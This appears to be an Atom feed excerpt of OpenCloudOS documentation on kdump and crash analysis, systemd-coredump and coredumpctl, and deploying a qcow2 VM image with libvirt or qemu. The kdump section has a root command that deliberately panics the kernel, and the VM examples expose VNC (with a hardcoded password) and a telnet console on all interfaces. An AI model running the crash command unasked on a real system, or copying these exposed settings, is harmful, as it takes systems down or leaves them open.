crashkernel将已经发生crash的内核的内存等信息转储出来，以供后续的分析定位，转储相关的设置在配置文件 &lt;strong&gt;&#x2F;etc&#x2F;kdump.conf&lt;&#x2F;strong&gt;中。&lt;&#x2F;p&gt;
&lt;p&gt;默认以文件形式转储在本地文件系统目录&#x2F;var&#x2F;crash中，并进行了内存过滤、压缩存储：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;path &amp;#x2F;var&amp;#x2F;crash
core_collector makedumpfile -l --message-level 7 -d 31
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;内存过滤、压缩存储的详细信息可以通过&lt;strong&gt;man makedumpfile&lt;&#x2F;strong&gt;查看。&lt;strong&gt;kdump内核配置&lt;&#x2F;strong&gt;
crashkernel启动时的命令行参数在配置文件 &lt;strong&gt;&#x2F;etc&#x2F;sysconfig&#x2F;kdump&lt;&#x2F;strong&gt;中。 设置后，通过如下命令来配置生效：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sudo systemctl restart kdump.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;4-ce-shi-kdumppei-zhi&quot;&gt;4. 测试kdump配置&lt;&#x2F;h2&gt;
&lt;p&gt;通过如下命令触发内核crash确认kdump配置正常：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;su - root
echo c &amp;gt; &amp;#x2F;proc&amp;#x2F;sysrq-trigger
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;系统重启后，在配置的转储目录（ &lt;strong&gt;&#x2F;var&#x2F;crash&lt;&#x2F;strong&gt;）下可以看到生成的vmcore文件以及vmcore-dmesg.txt等日志文件。## 5. crash&lt;&#x2F;p&gt;
&lt;p&gt;vmcore生成后，可以通过crash工具进行解析、定位问题。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-1-an-zhuang&quot;&gt;5.1 安装&lt;&#x2F;h3&gt;
&lt;p&gt;安装crash工具：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sudo dnf install crash
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;解析vmcore文件，需要有调试符号表文件，系统安装的内核一般都去除了调试符号，因此需要安装调试符号表文件。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sudo dnf debuginfo-install kernel
file &amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;debug&amp;#x2F;lib&amp;#x2F;modules&amp;#x2F;$(uname -r)&amp;#x2F;vmlinux
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;debug&amp;#x2F;lib&amp;#x2F;modules&amp;#x2F;6.1.26-2303.1.0.ocs23.x86_64&amp;#x2F;vmlinux: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=cc33cfbef9122f72d0ebbec283ebf6ffcfe9c06e, with debug_info, not stripped
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;5-2-yun-xing-crashgong-ju&quot;&gt;5.2 运行crash工具&lt;&#x2F;h3&gt;
&lt;p&gt;运行crash工具需要2个参数：带调试符号表的内核和vmcore文件。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sudo crash &amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;debug&amp;#x2F;lib&amp;#x2F;modules&amp;#x2F;$(uname -r)&amp;#x2F;vmlinux vmcore
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;进入crash后，可以执行&lt;strong&gt;help&lt;&#x2F;strong&gt;命令查看crash支持的命令：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;crash&amp;gt; help

*              files          mod            sbitmapq       union
alias          foreach        mount          search         vm
ascii          fuser          net            set            vtop
bpf            gdb            p              sig            waitq
bt             help           ps             struct         whatis
btop           ipcs           pte            swap           wr
dev            irq            ptob           sym            q
dis            kmem           ptov           sys
eval           list           rd             task
exit           log            repeat         timer
extend         mach           runq           tree

crash version: 8.0.2-3.ocs23   gdb version: 10.2
For help on any command above, enter &amp;quot;help &amp;lt;command&amp;gt;&amp;quot;.
For help on input options, enter &amp;quot;help input&amp;quot;.
For help on output options, enter &amp;quot;help output&amp;quot;.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;通过&lt;strong&gt;man crash&lt;&#x2F;strong&gt;了解更多信息。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>用户态coredump - OpenCloudOS Documentation</title>
        <published>2024-12-18T00:00:00+00:00</published>
        <updated>2024-12-18T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/用户态coredump-opencloudos-documentation/"/>
        <id>https://vercel.juzhong.asia/obsidian/用户态coredump-opencloudos-documentation/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/用户态coredump-opencloudos-documentation/">&lt;h1 id=&quot;yong-hu-tai-coredump-opencloudos-documentation&quot;&gt;用户态coredump - OpenCloudOS Documentation&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;1-jian-jie&quot;&gt;1. 简介&lt;&#x2F;h2&gt;
&lt;p&gt;用户态程序在收到某些异常信号时会产生core信息用于问题定位，用户态coredump默认由&lt;strong&gt;systemd-coredump&lt;&#x2F;strong&gt;处理。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-coredumppei-zhi&quot;&gt;2. coredump配置&lt;&#x2F;h2&gt;
&lt;p&gt;查看确认coredump的配置:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cat &amp;#x2F;proc&amp;#x2F;sys&amp;#x2F;kernel&amp;#x2F;core_pattern
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;或者&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sysctl -a | grep core_pattern
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果配置为 &lt;strong&gt;|&#x2F;usr&#x2F;lib&#x2F;systemd&#x2F;systemd-coredump&lt;&#x2F;strong&gt;，则说明coredump由&lt;strong&gt;systemd-coredump&lt;&#x2F;strong&gt;处理。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;kernel.core_pattern = |&amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;systemd&amp;#x2F;systemd-coredump %P %u %g %s %t %c %h
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;该配置的初始值来之文件&#x2F;usr&#x2F;lib&#x2F;sysctl.d&#x2F;50-coredump.conf。如果要修改该配置，比如不采用systemd-coredump处理而是采用传统的coredump方式，可以用如下方式：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;echo &amp;quot;kernel.core_pattern=core.%p.%e.%s&amp;quot; &amp;gt; &amp;#x2F;etc&amp;#x2F;sysctl.d&amp;#x2F;50-coredump.conf   # &amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;sysctl.d&amp;#x2F;下为发行版默认配置，如果要修改，建议在&amp;#x2F;etc&amp;#x2F;sysctl.d&amp;#x2F;下创建对应配置文件覆盖
&amp;#x2F;lib&amp;#x2F;systemd&amp;#x2F;systemd-sysctl                                                 # sysctl -p --load=&amp;#x2F;etc&amp;#x2F;sysctl.d&amp;#x2F;50-coredump.conf 也可以
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;或者临时修改（重启后失效）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sysctl -w kernel.core_pattern=&amp;quot;core.%p.%e.%s&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;core文件命名等更多详细信息可以查看&lt;strong&gt;man core&lt;&#x2F;strong&gt;。传统的coredump方式下生成的coredump文件在执行程序的当前目录下。确认core文件大小限制，默认为unlimited，即大小不受限。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ulimit -c
unlimited
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果要修改core文件大小限制，如修改为0（表示不生成core文件，即禁止core）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ulimit -S -c 0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果要永久禁止core，则修改配置文件&#x2F;etc&#x2F;security&#x2F;limits.conf：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;* soft core 0
* hard core 0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;3-systemd-coredumppei-zhi&quot;&gt;3. systemd-coredump配置&lt;&#x2F;h2&gt;
&lt;p&gt;systemd-coredump的配置文件为 &lt;strong&gt;&#x2F;etc&#x2F;systemd&#x2F;coredump.conf&lt;&#x2F;strong&gt;。 默认配置如下：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#Storage=external
#Compress=yes
#ProcessSizeMax=2G
#ExternalSizeMax=2G
#JournalSizeMax=767M
#MaxUse=
#KeepFree=
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;”#“表示这些是默认值，如果要修改，则去掉”#“进行修改。 - Storage=external，表示除了在journal日志中记录外，还会存储到文件，默认在目录&#x2F;var&#x2F;lib&#x2F;systemd&#x2F;coredump&#x2F;。如果由于存储空间不足等原因，不需要存储到文件，可以修改为none。如果要存储到journal文件中，可以修改为journal。 - Compress=yes，表示core文件会进行压缩。 - ProcessSizeMax=2G，表示能被处理的core文件最大为2G，超过2G的部分，将不产生backtrace。如果由于存储空间不足等原因，不需要存储到文件，可以修改为0。 - ExternalSizeMax=2G，表示存储到文件中的core文件最大为2G。 - JournalSizeMax=767M，表示存储到journal文件中的core最大为767M。 更详细的信息可以查看&lt;strong&gt;man coredump.conf&lt;&#x2F;strong&gt;、&lt;strong&gt;man systemd-coredump&lt;&#x2F;strong&gt;。&#x2F;var&#x2F;lib&#x2F;systemd&#x2F;coredump下的core文件3天后被删除，该配置在&lt;strong&gt;systemd-tmpfiles&lt;&#x2F;strong&gt;的配置文件**&#x2F;usr&#x2F;lib&#x2F;tmpfiles.d&#x2F;systemd.conf&lt;strong&gt;中，详细信息可以查看&lt;&#x2F;strong&gt;man tmpfiles.d**。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;d &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;systemd&amp;#x2F;coredump 0755 root root 3d
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;4-coredumpctlshi-yong&quot;&gt;4. coredumpctl使用&lt;&#x2F;h2&gt;
&lt;p&gt;由&lt;strong&gt;systemd-coredump&lt;&#x2F;strong&gt;处理的coredump可以使用coredumpctl工具处理。 测试程序如下：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

int main() {
    printf(&amp;quot;Hello, world!\n&amp;quot;);

    int a = 0, b = 0;
    int c = a &amp;#x2F; b;
    return c;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编译运行后：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Hello, world!
Floating point exception (core dumped)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在目录&#x2F;var&#x2F;lib&#x2F;systemd&#x2F;coredump下可以看到core文件：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;core.helloworld.0.1a76f79d8ab248a9a448bccbdc58f70b.4805.1684808517000000.zst
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;使用&lt;strong&gt;coredumpctl list&lt;&#x2F;strong&gt;查看,可以看到core发生时间、产生core的进程号、进程UID&#x2F;GID、触发core的信号、core文件状态、程序名、core文件大小。（注意：coredumpctl list查不到重启前的core文件）&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;TIME                         PID UID GID SIG    COREFILE EXE               SIZE
Tue 2023-05-23 10:21:57 CST 4805   0   0 SIGFPE present  &amp;#x2F;home&amp;#x2F;helloworld 16.6K
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;使用&lt;strong&gt;coredumpctl debug&lt;&#x2F;strong&gt;调试：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;coredumpctl debug helloworld            # 匹配到最新的helloworld相关的core文件，也可以通过PID等匹配coredumpctl debug 4805
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;执行该命令后就进入gdb的调试窗口。也可以先把core信息dump出来，然后用gdb来调试，即传统的coredump调试方式：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;coredumpctl dump helloworld &amp;gt; core.file
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;生成core文件：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;file core.file
core.file: ELF 64-bit LSB core file, x86-64, version 1 (SYSV), SVR4-style, from &amp;#x27;.&amp;#x2F;helloworld&amp;#x27;, real uid: 0, effective uid: 0, real gid: 0, effective gid: 0, execfn: &amp;#x27;.&amp;#x2F;helloworld&amp;#x27;, platform: &amp;#x27;x86_64&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;更多信息可以查看&lt;strong&gt;man coredumpctl&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>使用虚拟机镜像安装 - OpenCloudOS Documentation</title>
        <published>2024-12-16T00:00:00+00:00</published>
        <updated>2025-02-25T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/使用虚拟机镜像安装-opencloudos-documentation/"/>
        <id>https://vercel.juzhong.asia/obsidian/使用虚拟机镜像安装-opencloudos-documentation/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/使用虚拟机镜像安装-opencloudos-documentation/">&lt;h1 id=&quot;shi-yong-xu-ni-ji-jing-xiang-an-zhuang-opencloudos-documentation&quot;&gt;使用虚拟机镜像安装 - OpenCloudOS Documentation&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;1-jing-xiang-gai-shu&quot;&gt;1. 镜像概述&lt;&#x2F;h2&gt;
&lt;p&gt;OpenCloudOS Stream 提供 qcow2 镜像，qcow2镜像启动后不需要手动选择安装，启动后就是一个正常可使用的OS环境，镜像内默认安装系统所需基本组件，镜像已配置好YUM源，如需安装或升级RPM包，可以直接通过&lt;code&gt;dnf&lt;&#x2F;code&gt;命令安装、更新。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-jing-xiang-bu-shu-shi-yong&quot;&gt;2. 镜像部署使用&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;2-1-xia-zai-di-zhi&quot;&gt;2.1 下载地址&lt;&#x2F;h3&gt;
&lt;p&gt;前往 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;mirrors.opencloudos.tech&#x2F;opencloudos-stream&#x2F;releases&#x2F;23&#x2F;images&#x2F;x86_64&#x2F;&quot;&gt;镜像链接&lt;&#x2F;a&gt; 即可下载 qcow2 镜像。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-2-bu-shu-qian-huan-jing-zhun-bei&quot;&gt;2.2 部署前环境准备&lt;&#x2F;h3&gt;
&lt;p&gt;推荐使用qemu+libvirt方式部署镜像&lt;&#x2F;p&gt;
&lt;h4 id=&quot;2-2-1-an-zhuang-xu-ni-hua-zu-jian&quot;&gt;2.2.1 安装虚拟化组建&lt;&#x2F;h4&gt;
&lt;pre&gt;&lt;code&gt;dnf install qemu libvirt -y
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;2-2-2-qi-dong-libvirtdfu-wu&quot;&gt;2.2.2 启动libvirtd服务&lt;&#x2F;h4&gt;
&lt;pre&gt;&lt;code&gt;systemctl start libvirtd
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;2-2-3-zhun-bei-jing-xiang&quot;&gt;2.2.3 准备镜像&lt;&#x2F;h4&gt;
&lt;p&gt;将qcow2镜像下载到libvirt可以访问的目录，如&lt;code&gt;&#x2F;var&#x2F;lib&#x2F;libvirt&#x2F;images&#x2F;&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;2-2-4-zhun-bei-wang-luo-huan-jing&quot;&gt;2.2.4 准备网络环境&lt;&#x2F;h4&gt;
&lt;p&gt;创建的虚拟机如果需要使用母机的网络，需要在母机上创建网桥。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;nmcli connection add type bridge con-name br0 ifname br0
nmcli connection up br0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;将所需要使用的网络的网口添加到网桥中，如eth0&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;nmcli connection add type bridge-slave con-name eth0 ifname eth0 master br0
nmcli connection up eth0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;通过dhclient获取br0的ip&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;dhclient br0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;2-3-libvirtfang-shi-bu-shu&quot;&gt;2.3 libvirt方式部署&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;2-3-1-chuang-jian-xml&quot;&gt;2.3.1 创建XML&lt;&#x2F;h4&gt;
&lt;p&gt;这里给出一个最简单的libvirt XML文件&lt;code&gt;test.xml&lt;&#x2F;code&gt;用以创建虚拟机，可以根据需要自行进行修改。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;domain type=&amp;#x27;kvm&amp;#x27; xmlns:qemu=&amp;#x27;http:&amp;#x2F;&amp;#x2F;libvirt.org&amp;#x2F;schemas&amp;#x2F;domain&amp;#x2F;qemu&amp;#x2F;1.0&amp;#x27;&amp;gt;
    &amp;lt;name&amp;gt;OpenCloudOS&amp;lt;&amp;#x2F;name&amp;gt;
    &amp;lt;memory unit=&amp;#x27;GiB&amp;#x27;&amp;gt;1&amp;lt;&amp;#x2F;memory&amp;gt;
    &amp;lt;vcpu&amp;gt;4&amp;lt;&amp;#x2F;vcpu&amp;gt;
    &amp;lt;os&amp;gt;
        &amp;lt;type arch=&amp;#x27;x86_64&amp;#x27;&amp;gt;hvm&amp;lt;&amp;#x2F;type&amp;gt;
    &amp;lt;&amp;#x2F;os&amp;gt;
    &amp;lt;features&amp;gt;
        &amp;lt;acpi&amp;#x2F;&amp;gt;
    &amp;lt;&amp;#x2F;features&amp;gt;
    &amp;lt;cpu mode=&amp;#x27;host-passthrough&amp;#x27;&amp;gt;
        &amp;lt;topology sockets=&amp;#x27;2&amp;#x27; cores=&amp;#x27;2&amp;#x27; threads=&amp;#x27;1&amp;#x27;&amp;#x2F;&amp;gt;
    &amp;lt;&amp;#x2F;cpu&amp;gt;
    &amp;lt;iothreads&amp;gt;1&amp;lt;&amp;#x2F;iothreads&amp;gt;
    &amp;lt;clock offset=&amp;#x27;utc&amp;#x27;&amp;#x2F;&amp;gt;
    &amp;lt;on_poweroff&amp;gt;destroy&amp;lt;&amp;#x2F;on_poweroff&amp;gt;
    &amp;lt;on_reboot&amp;gt;restart&amp;lt;&amp;#x2F;on_reboot&amp;gt;
    &amp;lt;on_crash&amp;gt;restart&amp;lt;&amp;#x2F;on_crash&amp;gt;
    &amp;lt;devices&amp;gt;
        &amp;lt;emulator&amp;gt;&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;qemu-system-x86_64&amp;lt;&amp;#x2F;emulator&amp;gt;
        &amp;lt;disk type=&amp;#x27;file&amp;#x27; device=&amp;#x27;disk&amp;#x27;&amp;gt;
            &amp;lt;driver name=&amp;#x27;qemu&amp;#x27; type=&amp;#x27;qcow2&amp;#x27; iothread=&amp;quot;1&amp;quot;&amp;#x2F;&amp;gt;
            &amp;lt;source file=&amp;#x27;&amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;OpenCloudOS-Stream-23-20230524.0259-x86_64.qcow2&amp;#x27;&amp;#x2F;&amp;gt;
            &amp;lt;target dev=&amp;#x27;vda&amp;#x27; bus=&amp;#x27;virtio&amp;#x27;&amp;#x2F;&amp;gt;
            &amp;lt;boot order=&amp;#x27;1&amp;#x27;&amp;#x2F;&amp;gt;
        &amp;lt;&amp;#x2F;disk&amp;gt;
        &amp;lt;interface type=&amp;#x27;bridge&amp;#x27;&amp;gt;
            &amp;lt;mac address=&amp;#x27;52:54:00:A1:B2:C3&amp;#x27;&amp;#x2F;&amp;gt;
            &amp;lt;source bridge=&amp;#x27;br0&amp;#x27;&amp;#x2F;&amp;gt;
            &amp;lt;model type=&amp;#x27;virtio&amp;#x27;&amp;#x2F;&amp;gt;
            &amp;lt;address type=&amp;#x27;pci&amp;#x27; domain=&amp;#x27;0x0000&amp;#x27; bus=&amp;#x27;0x00&amp;#x27; slot=&amp;#x27;0x03&amp;#x27; function=&amp;#x27;0x0&amp;#x27;&amp;#x2F;&amp;gt;
        &amp;lt;&amp;#x2F;interface&amp;gt;
        &amp;lt;controller type=&amp;#x27;scsi&amp;#x27; index=&amp;#x27;0&amp;#x27; model=&amp;#x27;virtio-scsi&amp;#x27; &amp;#x2F;&amp;gt;
        &amp;lt;controller type=&amp;#x27;virtio-serial&amp;#x27; index=&amp;#x27;0&amp;#x27; &amp;#x2F;&amp;gt;
        &amp;lt;controller type=&amp;#x27;usb&amp;#x27; index=&amp;#x27;0&amp;#x27; model=&amp;#x27;ehci&amp;#x27; &amp;#x2F;&amp;gt;
        &amp;lt;controller type=&amp;#x27;sata&amp;#x27; index=&amp;#x27;0&amp;#x27; &amp;#x2F;&amp;gt;
        &amp;lt;controller type=&amp;#x27;pci&amp;#x27; index=&amp;#x27;0&amp;#x27; model=&amp;#x27;pci-root&amp;#x27;&amp;#x2F;&amp;gt;
        &amp;lt;controller type=&amp;#x27;usb&amp;#x27; model=&amp;#x27;ehci&amp;#x27;&amp;#x2F;&amp;gt;
        &amp;lt;input type=&amp;#x27;tablet&amp;#x27; bus=&amp;#x27;usb&amp;#x27;&amp;#x2F;&amp;gt;
        &amp;lt;input type=&amp;#x27;keyboard&amp;#x27; bus=&amp;#x27;usb&amp;#x27;&amp;#x2F;&amp;gt;
        &amp;lt;graphics type=&amp;#x27;vnc&amp;#x27; listen=&amp;#x27;0.0.0.0&amp;#x27; passwd=&amp;#x27;n8VfjbFK&amp;#x27;&amp;#x2F;&amp;gt;
        &amp;lt;serial type=&amp;#x27;pty&amp;#x27;&amp;gt;
            &amp;lt;target port=&amp;#x27;0&amp;#x27;&amp;#x2F;&amp;gt;
        &amp;lt;&amp;#x2F;serial&amp;gt;
        &amp;lt;console type=&amp;#x27;pty&amp;#x27;&amp;gt;
            &amp;lt;target type=&amp;#x27;serial&amp;#x27; port=&amp;#x27;0&amp;#x27;&amp;#x2F;&amp;gt;
        &amp;lt;&amp;#x2F;console&amp;gt;
    &amp;lt;&amp;#x2F;devices&amp;gt;
    &amp;lt;seclabel type=&amp;#x27;dynamic&amp;#x27; model=&amp;#x27;dac&amp;#x27; relabel=&amp;#x27;yes&amp;#x27;&amp;#x2F;&amp;gt;
&amp;lt;&amp;#x2F;domain&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;将XML中的``替换为所需要安装的qcow2镜像路径。&lt;&#x2F;p&gt;
&lt;p&gt;虚拟机配置可以参考 &lt;strong&gt;《虚拟化用户指南》&lt;&#x2F;strong&gt; 章节.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;2-3-2-qi-dong-xu-ni-ji&quot;&gt;2.3.2 启动虚拟机&lt;&#x2F;h4&gt;
&lt;pre&gt;&lt;code&gt;virsh create test.xml
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;2-4-qemufang-shi-bu-shu&quot;&gt;2.4 qemu方式部署&lt;&#x2F;h3&gt;
&lt;p&gt;直接通过执行qemu二进制，在命令中指定参数方式启动虚拟机。参数根据需要进行调整&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;qemu-system-x86_64 \
        -m 8192 -smp 4 -cpu host \
        -drive file=&amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;OpenCloudOS-Stream-23-20230524.0259-x86_64.qcow2,bus=0,unit=0,media=disk \
        -serial telnet:0.0.0.0:9999,server=on,wait=on,nodelay=on \
        -vnc :0 \
        -nographic
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;3-zhu-yi-shi-xiang&quot;&gt;3. 注意事项&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;3-1-aarch64ji-qi&quot;&gt;3.1 aarch64机器&lt;&#x2F;h3&gt;
&lt;p&gt;在aarch64机器上创建qemu虚拟机，XML中的一些配置项需要做如下调整：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;aarch64虚拟机需要引导固件帮助启动。可以通过安装edk2-aarch64组件，然后在标签新增如下配置完成。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;loader readonly=&amp;#x27;yes&amp;#x27; type=&amp;#x27;pflash&amp;#x27;&amp;gt;&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;AAVMF&amp;#x2F;AAVMF_CODE.fd&amp;lt;&amp;#x2F;loader&amp;gt;
&amp;lt;nvram&amp;gt;&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;edk2&amp;#x2F;aarch64&amp;#x2F;QEMU_VARS.fd&amp;lt;&amp;#x2F;nvram&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;需要在type中指定&lt;code&gt;machine=&#x27;virt&#x27;&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;type arch=&amp;#x27;aarch64&amp;#x27; machine=&amp;#x27;virt&amp;#x27;&amp;gt;hvm&amp;lt;&amp;#x2F;type&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;除此之外，还需要安装seavgabios-bin组件&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;dnf install seavgabios-bin -y
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;3-2-cpuzhi-ling-ji&quot;&gt;3.2 CPU指令集&lt;&#x2F;h3&gt;
&lt;p&gt;如果虚拟机CPU型号未显示指定，默认仅支持指令集 &lt;strong&gt;x86_64-v1&lt;&#x2F;strong&gt;，而当前编译的 glibc，编译时指定了编译选项 &lt;code&gt;-march=x86_64-v2&lt;&#x2F;code&gt;，仅支持运行在 x86_64-v2 及以上环境，所以会导致虚拟机启动失败。启动时有如下报错：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[    4.605199] x86&amp;#x2F;mm: Checked W+X mappings: passed, no W+X pages found.
[    4.606044] Run &amp;#x2F;bin&amp;#x2F;bash as init process
[    4.627350] traps: bash[1] trap invalid opcode ip:7f0a751f4da6 sp:7ffd97579870 error:0 in ld-linux-x86-64.so.2[7f0a751d8000+27000]
[    4.631539] Kernel panic - not syncing: Attempted to kill init! exitcode=0x00000004
[    4.632068] CPU: 0 PID: 1 Comm: bash Not tainted 5.18.15-2207.2.0.ocks #1
[    4.632397] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.0-1.fc37 04&amp;#x2F;01&amp;#x2F;2014
[    4.632870] Call Trace:
[    4.633501]  &amp;lt;TASK&amp;gt;
[    4.633749]  dump_stack_lvl+0x33&amp;#x2F;0x46
[    4.634132]  panic+0x106&amp;#x2F;0x2ab
[    4.634306]  do_exit.cold+0x15&amp;#x2F;0x15
[    4.634465]  do_group_exit+0x2d&amp;#x2F;0x90
[    4.634640]  get_signal+0x975&amp;#x2F;0x980
[    4.634800]  arch_do_signal_or_restart+0x25&amp;#x2F;0x100
[    4.635019]  exit_to_user_mode_prepare+0xf0&amp;#x2F;0x130
[    4.635218]  irqentry_exit_to_user_mode+0x5&amp;#x2F;0x30
[    4.635404]  asm_exc_invalid_op+0x15&amp;#x2F;0x20
[    4.635727] RIP: 0033:0x7f0a751f4da6
[    4.636191] Code: 8d 03 00 00 48 8b 49 08 40 84 ff 4c 8b 05 aa 8e 01 00 4a 8d 34 21 48 0f 45 ce 48 8b 35 93 8d 01 00 48 8b 76 08 66 48 0f 6e c1 &amp;lt;66&amp;gt; 48 0f 3a 22 c6 01 0f 29 45 90 4d 85 c0 74 08 4d 8b 40 08 4c 89
[    4.636929] RSP: 002b:00007ffd97579870 EFLAGS: 00000246
[    4.637163] RAX: 00007f0a7520ceb0 RBX: 00007ffd97579930 RCX: 00007f0a751d6d78
[    4.637439] RDX: 0000000000000000 RSI: 0000000000000d98 RDI: 0000000000000000
[    4.637717] RBP: 00007ffd97579920 R08: 00007f0a7520cf50 R09: 00007f0a7520cec0
